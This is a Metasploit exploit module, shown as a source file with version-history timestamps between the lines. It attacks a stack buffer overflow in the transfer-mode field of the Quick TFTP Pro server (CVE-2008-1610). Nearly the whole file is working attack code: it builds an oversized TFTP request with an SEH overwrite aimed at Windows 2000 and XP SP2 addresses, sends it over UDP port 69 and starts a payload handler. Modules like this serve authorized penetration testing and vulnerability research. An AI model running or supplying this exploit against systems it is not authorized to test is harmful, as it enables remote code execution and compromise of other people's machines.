metasploit-framework/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb

75 lines
1.9 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GoodRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Seh
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Quick FTP Pro 2.1 Transfer-Mode Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Quick TFTP Pro server
product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting
in a DoS. This is a port of a sploit by Mati "muts" Aharoni.
},
'Author' => 'Saint Patrick',
'References' =>
[
['CVE', '2008-1610'],
['OSVDB', '43784'],
2013-08-30 21:28:54 +00:00
['BID', '28459'],
['URL', 'http://secunia.com/advisories/29494'],
2013-08-30 21:28:54 +00:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 460,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows Server 2000', { 'Ret' => 0x75022AC4} ], #ws2help.dll
['Windows XP SP2', {'Ret' => 0x74D31458} ], #oledlg.dll
],
'DefaultTarget' => 1,
'DisclosureDate' => 'Mar 27 2008'))
2013-08-30 21:28:54 +00:00
register_options(
[
Opt::RPORT(69)
], self.class)
2013-08-30 21:28:54 +00:00
end
2013-08-30 21:28:54 +00:00
def exploit
connect_udp
2013-08-30 21:28:54 +00:00
print_status("Trying target #{target.name}...")
2013-08-30 21:28:54 +00:00
sploit = "\x00\x02" + rand_text_english(4, payload_badchars) + "\x00"
sploit += "A"*1019
seh = generate_seh_payload(target.ret)
sploit +=seh
sploit += "\x00"
2013-08-30 21:28:54 +00:00
udp_sock.put(sploit)
print_status("Done.")
2013-08-30 21:28:54 +00:00
handler
disconnect_udp
end
end